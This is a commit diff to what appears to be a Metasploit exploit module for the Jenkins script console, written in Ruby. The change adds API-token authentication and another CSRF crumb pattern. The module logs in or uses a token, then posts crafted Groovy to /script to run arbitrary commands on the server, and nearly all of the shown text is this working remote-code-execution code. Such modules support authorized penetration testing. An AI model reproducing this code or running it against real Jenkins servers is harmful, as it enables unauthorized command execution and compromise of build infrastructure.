@@ -19,7 +19,8 @@ def initialize(info = {})
19
19
'Author' =>
20
20
[
21
21
'Spencer McIntyre' ,
22
- 'jamcut'
22
+ 'jamcut' ,
23
+ 'thesubtlety'
23
24
] ,
24
25
'License' => MSF_LICENSE ,
25
26
'DefaultOptions' =>
@@ -50,6 +51,7 @@ def initialize(info = {})
50
51
[
51
52
OptString . new ( 'USERNAME' , [ false , 'The username to authenticate as' , '' ] ) ,
52
53
OptString . new ( 'PASSWORD' , [ false , 'The password for the specified username' , '' ] ) ,
54
+ OptString . new ( 'API_TOKEN' , [ false , 'The API token for the specified username' , '' ] ) ,
53
55
OptString . new ( 'TARGETURI' , [ true , 'The path to the Jenkins-CI application' , '/jenkins/' ] )
54
56
] )
55
57
end
@@ -77,6 +79,7 @@ def http_send_command(cmd, opts = {})
77
79
request_parameters = {
78
80
'method' => 'POST' ,
79
81
'uri' => normalize_uri ( @uri . path , 'script' ) ,
82
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'API_TOKEN' ] ) ,
80
83
'vars_post' =>
81
84
{
82
85
'script' => java_craft_runtime_exec ( cmd ) ,
@@ -151,34 +154,46 @@ def exploit
151
154
@cookie = nil
152
155
@crumb = nil
153
156
if res . code != 200
154
- print_status ( 'Logging in...' )
155
- res = send_request_cgi ( {
156
- 'method' => 'POST' ,
157
- 'uri' => normalize_uri ( @uri . path , "j_acegi_security_check" ) ,
158
- 'vars_post' =>
159
- {
160
- 'j_username' => datastore [ 'USERNAME' ] ,
161
- 'j_password' => datastore [ 'PASSWORD' ] ,
162
- 'Submit' => 'log in'
163
- }
164
- } )
165
-
166
- if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
167
- fail_with ( Failure ::NoAccess , 'Login failed' )
168
- end
169
- sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
170
- @cookie = "#{ sessionid } "
171
-
172
- res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
173
- fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from server' ) unless res and res . code == 200
157
+ if datastore [ 'API_TOKEN' ]
158
+ print_status ( 'Authenticating with token...' )
159
+ res = send_request_cgi ( {
160
+ 'method' => 'GET' ,
161
+ 'uri' => normalize_uri ( @uri . path , "crumbIssuer/api/json" ) ,
162
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'API_TOKEN' ] )
163
+ } )
164
+ if ( res and res . code == 401 )
165
+ fail_with ( Failure ::NoAccess , 'Login failed' )
166
+ end
167
+ else
168
+ print_status ( 'Logging in...' )
169
+ res = send_request_cgi ( {
170
+ 'method' => 'POST' ,
171
+ 'uri' => normalize_uri ( @uri . path , "j_acegi_security_check" ) ,
172
+ 'vars_post' =>
173
+ {
174
+ 'j_username' => datastore [ 'USERNAME' ] ,
175
+ 'j_password' => datastore [ 'PASSWORD' ] ,
176
+ 'Submit' => 'log in'
177
+ }
178
+ } )
179
+
180
+ if not ( res and res . code == 302 ) or res . headers [ 'Location' ] =~ /loginError/
181
+ fail_with ( Failure ::NoAccess , 'Login failed' )
182
+ end
183
+ sessionid = 'JSESSIONID' << res . get_cookies . split ( 'JSESSIONID' ) [ 1 ] . split ( '; ' ) [ 0 ]
184
+ @cookie = "#{ sessionid } "
185
+
186
+ res = send_request_cgi ( { 'uri' => "#{ @uri . path } script" , 'cookie' => @cookie } )
187
+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from server' ) unless res and res . code == 200
188
+ end
174
189
else
175
190
print_status ( 'No authentication required, skipping login...' )
176
191
end
177
192
178
193
if res . body =~ /"\. crumb", "([a-z0-9]*)"/
179
194
print_status ( "Using CSRF token: '#{ $1} ' (.crumb style)" )
180
195
@crumb = { :name => '.crumb' , :value => $1}
181
- elsif res . body =~ /crumb\. init\( "Jenkins-Crumb", "([a-z0-9]*)"\) /
196
+ elsif res . body =~ /crumb\. init\( "Jenkins-Crumb", "([a-z0-9]*)"\) / || res . body =~ /"crumb":"([a-z0-9]*)"/
182
197
print_status ( "Using CSRF token: '#{ $1} ' (Jenkins-Crumb style)" )
183
198
@crumb = { :name => 'Jenkins-Crumb' , :value => $1}
184
199
end
0 commit comments